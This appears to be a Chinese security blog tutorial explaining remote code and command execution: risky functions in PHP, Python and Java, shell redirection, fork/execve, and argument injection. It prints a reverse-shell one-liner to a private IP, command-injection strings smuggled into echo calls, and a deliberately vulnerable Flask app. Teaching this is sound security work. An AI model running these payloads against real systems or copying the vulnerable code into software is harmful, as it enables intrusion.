RCE的本质

N0va7
2025-09-11 / 0 评论 / 3 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2025年09月11日,已超过265天没有更新,若内容或图片失效,请留言反馈。

RCE的概念与区别

Remote Code Execute 远程代码执行

此处我们讲到的RCE不是由其他漏洞产⽣的外部代码(⾮预设代码)执⾏,比如说:反序列化、远程文件包含、Webshell上传、SSTI等

因为需求设计,程序代码⾥⾯有时候也会把⽤户的输⼊作为代码的⼀部分进⾏执⾏,也就造成了远程代码执⾏漏洞

一句话来说就是:一段当前语言代码的字符串被动态执行,或者是其他语言的代码被放入沙箱执行了

PHP

PHP中可以远程代码执行的函数有很多,如果我们的输入可以走到这些函数作为参数,那么就有可能出现远程代码执行

eval() //把字符串作为PHP代码执⾏
assert() //检查⼀个断⾔是否为 FALSE,可⽤来执⾏代码
preg_replace() //执⾏⼀个正则表达式的搜索和替换
call_user_func() //把第⼀个参数作为回调函数调⽤
call_user_func_array() //调⽤回调函数,并把⼀个数组参数作为回调函数的参数
array_map() //为数组的每个元素应⽤回调函数
$a($b) //动态函数

Python

Python可以远程代码执行的函数如下:

exec(string) # Python代码的动态执⾏
eval(string) # 返回表达式或代码对象的值
execfile(string) # 从⼀个⽂件中读取和执⾏Python脚本

Java

Java中可以直接执行代码的函数基本没有,都是调用反序列化来动态执行字符串,所以目前没有这种函数

Remote Command Execte 远程命令执行

这种漏洞出现的原因在于系统/应用从设计上需要给用户提供指定的远程命令操作的接口,比如说路由器等设备。

这种漏洞出现的情况仅当Web应用程序代码包含操作系统调用(外壳程序、Shell)并且调用中使用了用户输入时才可能进行OS命令注入攻击

它们不是基于特定语言的,命令注入漏洞可能会出现在所有让用户调用系统外壳命令的语言中

一句话来说就是:⼀段输⼊的字符串被引⼊了执⾏外部命令的函数,并且没过过滤

PHP

exec — 执⾏⼀个外部程序
passthru — 执⾏外部程序并且显示原始输出
proc_open — 执⾏⼀个命令,并且打开⽤来输⼊/输出的⽂件指针。
shell_exec — 通过 shell 执⾏命令并将完整的输出以字符串的⽅式返回
system — 执⾏外部程序,并且显示输出

Python

os.system() #执⾏系统指令
os.popen()  #popen()⽅法⽤于从⼀个命令打开⼀个管道
subprocess.call #执⾏由参数提供的命令

Java

Runtime.getRuntime().exec()
ProcessBuilder()

Shell相关基础知识

参考文章

https://www.jianshu.com/p/410cd35e642f

管道

command1 | command2   前⼀个命令的输出作为后⼀个命令的输⼊

重定向

command1 < input.txt  将input.txt的内容读出来重定向作为command1的参数
command2 > out.txt  将command2的输出重定向到out.txt中

fd

linux下的⽂件描述符(file descriptor)是linux下⼀个重要的进程概念(本质上是⼀个索引)。

文件描述符(File Descriptor,简称FD)是Linux系统中用于访问文件或其他输入输出资源(如管道、网络套接字等)的一种抽象标识。

Linux系统中⼀切皆可以看成是⽂件,⽂件⼜可分为:普通⽂件、⽬录⽂件、链接⽂件和设备⽂件。在操作这些所谓的⽂件的时候,我们每操作⼀次就找⼀次名字,这会耗费⼤量的时间和效率。所以Linux中规定每⼀个⽂件对应⼀个索引,这样要操作⽂件的时候,我们直接找到索引就可以对其进⾏操作了。⽂件描述符(file descriptor)就是内核为了⾼效管理这些已经被打开的⽂件所创建的索引。

$$  --> linux下当前进程的pid
/proc   --> linux伪⽂件系统 ---》进程相关的信息挂载在这⾥

eb692f6f3fc0d0345c6c305f44de49a5_MD5

相关信息解释:

  • 0代表标准输入(stdin)
  • 1代表标准输出(stdout)
  • 2代表标准错误(stderr)

当前shell就是标准输入/输出/错误都重定向到同一个地方,所以我们执行命令时能得到结果和错误提示

反弹shell

那么结合我们的安全角度,反弹shell就是一个shell命令,如何解释它?

sh -i >& /dev/tcp/192.168.101.30/2222 0>&1
  • sh -i:启动一个交互式的 Shell。
  • >&:因此,>&stdoutstderr 合并后发送到后面的目标。
  • /dev/tcp/192.168.101.30/2222:创建一个连接到192.168.101.30:2222Socks
  • 0>&1:将 stdin 重定向到该 Socks

Linux进程是如何创建的

Linux区分⽤户态和内核态,⽤户态程序要进⾏所有动作、其实都是通过调⽤system call(系统调⽤syscall)向内核发起请求,最终在内核态执⾏完毕后才能得到返回。

系统调⽤跟⽤户⾃定义函数⼀样也是⼀个函数,不同的是系统调⽤运⾏在内核态,⽽⽤户⾃定义函数运⾏在⽤户态。

由于某些指令(如设置时钟、关闭/打开中断和I/O操作等)只能运⾏在内核态,所以操作系统必须提供⼀种能够进⼊内核态的⽅式,系统调⽤就是这样的⼀种机制。

Linux创建进程的大致流程

bash -c whoami

在内核态执行了以下动作

950d6bf3f592c76a2bbba9054c3b38fa_MD5

fork用于创建一个与父进程相似的子进程,两者拥有相同的地址空间,但具有独立的PID。子进程通过写时复制机制与父进程共享资源。而execve则在当前进程上下文替换并运行新的程序。

关于系统调⽤的跟进,使用神器strace。如果你致⼒于成为⼀个安全研究员,后⾯的⼯作免不了跟他打交道。

strace -tt -f -e trace=process python3 test.py
import os
if __name__ == '__main__':
    name = '123";ping baidu.com -c 100;echo "456'
    cmd = 'echo "HELLO ' + name + '"'
    os.system(cmd)

234ad472ca02b9a4917aa987cdada0f8_MD5

这边的clone相当于fork,然后我们还可以发现一个点就是echo为什么没有创建,这是因为echo内置在shell里面了,所以不会创建一个新的进程

e646ce16b7c0a74b4a07c4ffa2d9d8ab_MD5

命令注入的本质是在注入什么

var name = requset.get("name")
var cmd = "echo 'Hello " + name + "'"
RUN_CMD(cmd)

在有伪代码的情况下观察下面的代码,想想他们都能执行RCE吗?如果不一定,那么区别在哪?

思考代码

C/PHP/Python下的system()/popen()函数

system($input$)
执⾏ sh -c '$input'
可以转化为
bash(pid:1) --> sys_fork --> bash(pid:2) --> sys_execve --> /bin/whoami(pid:2)

Python的subprocess.call函数

import os
import subprocess
if __name__ == '__main__':
    name = '123";ping baidu.com -c 100;echo "456'
    cmd = 'echo "HELLO ' + name + '"'
    subprocess.call(cmd, shell=True)
import os
import subprocess
if __name__ == '__main__':
    name = '123";ping baidu.com -c 100;echo "456'
    cmd = 'echo "HELLO ' + name + '"'
    subprocess.call(cmd, shell=False)

两者的区别是什么?存在RCE吗?

Java的命令执行函数

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class main {
    public static void main(String[] args) {
        try {
            String name = "123';ping baidu.com -c 3;echo '456";
            String cmd = "echo 'HELLO " + name + "'";
            Process pro = Runtime.getRuntime().exec(cmd);
            InputStream in = null;
            in = pro.getInputStream();
            BufferedReader read = new BufferedReader(new InputStreamReader(in));
            String result = read.readLine();
            System.out.println("INFO:"+result);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

上面这些代码的区别是什么,当我们发现这些代码的时候都能实现RCE吗?

下面就开始介绍这些代码的区别,以及他们能否实现RCE

函数与命令的关系

PHP

 <?php
 $name = $_GET['name'];
 $cmd = 'echo "Hello '.$name.'"';
 var_dump("system", system($cmd));  //sh -c
 echo '</br>';
 var_dump("exec",exec($cmd));  //sh -c
 echo '</br>';
 var_dump("shell_exec",shell_exec($cmd));  //sh -c
echo '</br>';
 var_dump("popen");$x = popen($cmd, 'r');var_dump($x);var_dump(fread($x, 1024));  //sh -c
 echo '</br>';
 $a = array();
 var_dump("proc_open");$x = proc_open($cmd, $a,$b);  //sh -c
?>

PHP中的大多数执行外部命令的函数其实都是通过sh -c去执行的

Python

import os
if __name__ == '__main__':
    name = '123";ping baidu.com -c 100;echo "456'
    cmd = 'echo "HELLO ' + name + '"'
    os.system(cmd)

Java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class main {
    public static void main(String[] args) {
        try {
            String name = "123';ping baidu.com -c 3;echo '456";
            String cmd = "echo 'HELLO " + name + "'";
            Process pro = Runtime.getRuntime().exec(cmd);
            InputStream in = null;
            in = pro.getInputStream();
            BufferedReader read = new BufferedReader(new InputStreamReader(in));
            String result = read.readLine();
            System.out.println("INFO:"+result);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

总结

system类

如果是执⾏system函数,或者类似system函数,他们都是直接⾛的fork-->execve流程

在这种流程下调用的是外部bash -c,这种情况下,我们的输⼊被拼接加⼊到作为bash -c的参数,⽽bash -c是⽀持shell语法的,所以我们能够很轻易的进⾏拼接、绕过,这种也是最常⻅的RCE攻击

execve类

⽐如Runtime.getRuntime().exec()subprocess.call(cmd, shell=False)这两者,⾛的流程是直接execve,在这种情况下,我们的输⼊只能作为固定进程的参数,那么我们就没办法⽤shell语法了,与任何拼接都没有关系了。

那么这种情况如何绕过?

execve类参数绕过

当我们不能执⾏任意进程的时候(我们的输⼊只是某个特定进程的输⼊参数的时候),依然能找到⼀些撸点,但是撸点的⼤⼩,取决的使⽤的进程程序本身的参数是不是能注⼊。

比如说rpmcurl

import shlex
import subprocess
import urllib
from flask import Flask, request
app = Flask(__name__)
@app.route('/rpm')
def rpm_install():  # put application's code here
    rpm = request.args.get("rpm")
    if rpm is None or rpm.strip() == "":
        return "please input rpm to install"
    rpm = urllib.parse.unquote(rpm)
    cmd = "rpm " + rpm
    cmd_list = shlex.split(cmd)
    process = subprocess.Popen(cmd_list, shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    result = "result is:\n"
    while process.poll() is None:
        line = process.stdout.readline()
        line = line.strip()
        if line:
            result = result + str(line)
    return result

@app.route('/curl')
def curl():  # put application's code here
     url = request.args.get("url")
     if url is None or url.strip() == "":
         return "please input url"
     cmd = ['curl', url]
     process = subprocess.Popen(cmd, shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
     result = "result is:\n"
     while process.poll() is None:
         line = process.stdout.readline()
         line = line.strip()
         if line:
             result = result + str(line)
     return result
if __name__ == '__main__':
     app.run(host="0.0.0.0")

参考文档

Linux:https://gtfobins.github.io/

Windows:https://lolbas-project.github.io

Curl

a0fd6c996f5cb464ee7afb0214361133_MD5

17307e3576f10df398ecc5306e36175e_MD5

rpm

6b094d431a5ad5f7e31a45602bac2eab_MD5

31c170a86e0f3c635b7b78acfb8c9d57_MD5

0

评论 (0)

取消